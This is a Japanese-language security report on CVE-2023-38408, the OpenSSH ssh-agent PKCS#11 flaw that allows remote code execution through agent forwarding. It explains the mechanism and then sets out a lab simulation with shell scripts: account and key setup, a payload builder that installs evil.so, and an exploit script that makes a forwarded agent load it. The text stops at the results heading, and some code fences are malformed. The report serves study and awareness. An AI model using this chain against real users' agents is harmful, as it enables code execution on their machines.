CVE-2023-38408: 現実世界のSSHエージェント脆弱性の理解とシミュレーション

目次

1. はじめに
2. 背景概念
3. CVE-2023-38408の脆弱性
4. 実践的なシミュレーションとテスト
5. 技術的分析
6. 修正と緩和策
7. 結論

---

1. はじめに

レポートの目的

本レポートの目的は、OpenSSHで発見された重大な現実世界の脆弱性であるCVE-2023-38408を、理論的な理解と実践的なシミュレーションの両方を通じて分析することです。このレポートでは、脆弱性の技術的基盤を説明し、制御された環境での悪用方法を示し、実装された緩和策を検証します。

現実世界の脆弱性を分析する重要性

実践的なシミュレーションを通じて現実世界のセキュリティ脆弱性を理解することは、システムを保護するだけでなく、開発者やシステム管理者の潜在的な攻撃ベクトルに対する認識を強化します。このような脆弱性の分析は、理論と実践的なセキュリティ実装の間のギャップを埋めます。

CVE-2023-38408とは何か、そしてその重要性

CVE-2023-38408は、PKCS#11サポートが有効な場合にOpenSSHのssh-agentに影響を与える脆弱性です。ユーザーがエージェント転送を有効にした状態（ssh -A）で侵害されたサーバーに接続すると、クライアントマシン上でリモートコード実行が可能になります。この脆弱性は、安全な認証にOpenSSHに依存するすべてのシステムに深刻な影響を及ぼします。

CVE詳細	情報
CVE ID	CVE-2023-38408
CVSS Score	9.8 (重大)
影響を受けるバージョン	OpenSSH < 9.3p2
攻撃ベクトル	ネットワーク
必要な権限	なし
ユーザーの操作	必要
影響	システム全体の侵害

2. 背景概念

2.1 SSHの概要

SSH（Secure Shell）は、安全でないネットワーク上での安全な通信に使用される暗号化ネットワークプロトコルです。リモートログイン、コマンド実行、ファイル転送などに暗号化チャネルを提供します。```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]

### 2.2 ssh-agent とは

`ssh-agent` は、復号された秘密SSHキーをメモリ内に保持するバックグラウンドプロセスです。リモートシステムに接続するたびにパスフレーズを再入力することなく、それらを使用できるようにします。

#### エージェント転送 (ssh -A)

エージェント転送を使用すると、リモートシステムがUnixドメインソケットを介してローカルの `ssh-agent` にアクセスできるようになります。これはSSH接続の連鎖に便利ですが、リモートマシンが侵害された場合に重大なセキュリティリスクをもたらします。```mermaid
sequenceDiagram
    participant Client as SSH Client
    participant Agent as ssh-agent
    participant Server as Remote Server
    participant Proxy as Agent Proxy

    Client->>Agent: Start agent
    Client->>Server: ssh -A user@server
    Server->>Proxy: Create proxy socket
    Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
    Server->>Proxy: ssh-add request
    Proxy->>Client: Forward request
    Client->>Agent: Process request
    Agent->>Client: Response
    Client->>Proxy: Forward response
    Proxy->>Server: Final response

技術的に言えば、ssh -Aを使用すると、SSHクライアントはリモートサーバー上にUnixドメインソケットをセットアップし、それがローカルのssh-agentへのプロキシとして機能します。環境変数SSH_AUTH_SOCKはこのプロキシソケットを指すように設定されます。リモートサーバー上でSSH_AUTH_SOCKに対して行われたすべての呼び出しは、SSH接続を介して転送され、ローカルのssh-agentによって処理されます。

2.3 PKCS#11とは

PKCS#11は、スマートカード、YubiKey、仮想ハードウェアセキュリティモジュール（HSM）などの暗号トークンと対話するための標準APIです。

PKCS#11関数	目的	リスクレベル
C_Initialize()	ライブラリの初期化	低
C_GetSlotList()	利用可能なスロットの一覧表示	低
C_FindObjects()	暗号オブジェクトの検索	中
C_Sign()	データの署名	高
dlopen()	共有ライブラリのロード	重大

ssh-agentがPKCS#11をサポートする方法

OpenSSHのssh-agentは、コマンドssh-add -s /path/to/provider.soを使用してPKCS#11プロバイダ（共有.soライブラリ）のロードをサポートしています。これらのライブラリにより、エージェントは安全なハードウェアまたはソフトウェアモジュールと対話し、秘密鍵を直接公開せずに使用できるようになります。

内部では、ssh-add -sが呼び出されると、次の処理が実行されます：

• .soファイルは、dlopen()を使用して動的にメモリにロードされます。
• エージェントはPKCS#11 APIを介してC_Initialize()、C_GetSlotList()、C_FindObjects()、C_Sign()などの関数を解決して呼び出します。
• プロバイダはメタデータを返し、認証チャレンジに署名するリクエストを処理し、秘密鍵のマテリアルをハードウェアトークン内に安全に保持します。

---

3. CVE-2023-38408の脆弱性

3.1 CVE概要

属性	詳細
ID	CVE-2023-38408
深刻度	高（CVSS 9.8）
タイムライン	2023年7月開示、OpenSSH 9.3p2で修正
影響を受けるソフトウェア	PKCS#11サポートがあるOpenSSH 9.3p2より前のバージョン
攻撃の複雑さ	低
攻撃ベクトル	SSHエージェント転送を介したネットワーク

3.2 脆弱性のメカニズム

この脆弱性は、ssh-agentがssh-add -sを介して提供された任意の共有オブジェクトファイル（.so）を、それが正当なPKCS#11プロバイダであるかどうかを検証せずにロードすることに起因します。```mermaid graph TD A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent] B --> C[ssh-agent calls dlopen on malicious.so] C --> D[Constructor function executes immediately] D --> E[Arbitrary code runs on victim machine]

### 3.3 攻撃フロー分析```mermaid
sequenceDiagram
    participant V as Victim
    participant A as Attacker
    participant Agent as ssh-agent
    participant Lib as Malicious .so

    V->>A: ssh -A attacker@host
    Note over V,A: Agent forwarding enabled
    A->>Agent: ssh-add -s /path/to/malicious.so
    Agent->>Lib: dlopen("/path/to/malicious.so")
    Note over Lib: Constructor executes
    Lib->>V: Malicious code runs
    Note over V: System compromised

最下層では、一連のイベントは以下の通りです。

1. リモートシステムが転送エージェントにリクエストを送信し、ssh-add -s /path/to/lib.so を要求します。
2. ローカルの ssh-agent がこのリクエストを受け取り、盲目的に dlopen("/path/to/lib.so", RTLD_NOW) を呼び出します。
3. .so ファイルにコンストラクタ関数 (__attribute__((constructor))) がある場合、読み込み直後に実行されます。
4. このコンストラクタは、クライアントマシン上で実行される任意の悪意のあるコードを含む可能性があります。

3.4 実際の攻撃シナリオ

ステップ	アクション	影響
1	ユーザーが ssh -A user@attacker-host を実行	エージェント転送が有効になる
2	攻撃者が malicious.so を準備	ペイロードの準備完了
3	攻撃者が ssh-add -s /tmp/malicious.so を実行	被害者のエージェントにリクエスト送信
4	エージェントが悪意のあるライブラリを読み込み	コンストラクタが実行される
5	悪意のあるコードが実行	リモートコード実行達成

---

4. 実践的なシミュレーションとテスト

4.1 シミュレーション環境のセットアップ

この脆弱性を管理された環境で実証するために、複数のユーザーアカウントと端末を使用した包括的なシミュレーションを実施しました。

環境構成

コンポーネント	構成	目的
端末 1	victim ユーザー	SSH クライアント (ターゲット)
端末 2	attacker ユーザー	SSH サーバー (攻撃者)
SSH 鍵	RSA 2048 ビット	パスワードなしの認証
テストファイル	各種シェルスクリプト	自動化とペイロード配信

ユーザーアカウントの作成```bash

As main user

sudo adduser victim sudo adduser attacker

#### SSHエージェント転送用のキー設定```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost

4.2 シミュレーションスクリプトと実装

被害者の接続スクリプト (new-connection.sh)```bash

#!/bin/bash

Kill any existing agent

eval $(ssh-agent -k) > /dev/null 2>&1

Start a new agent and add key

eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa

Connect to attacker with agent forwarding

ssh -A attacker@localhost

#### 攻撃者のペイロードビルダー (`build-evil.sh`)```bash
#!/bin/bash
set -e

C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"

function build_c() {
  sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
  echo "C payload built at $OUTPUT_PATH"
}

function build_rust() {
  cd "$RUST_DIR"
  cargo build --release
  cd -
  SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
  sudo cp "$SO_FILE" "$OUTPUT_PATH"
  rm -rf "$RUST_DIR/target"
  echo "Rust payload built at $OUTPUT_PATH"
}

case "$1" in
  --c) build_c ;;
  --rust) build_rust ;;
  *) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac

エクスプロイトスクリプト (exploit.sh)```bash

#!/bin/bash

Use forwarded agent

export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)

Trigger the malicious shared object via ssh-agent

ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so

### 4.3 シミュレーション結果と分析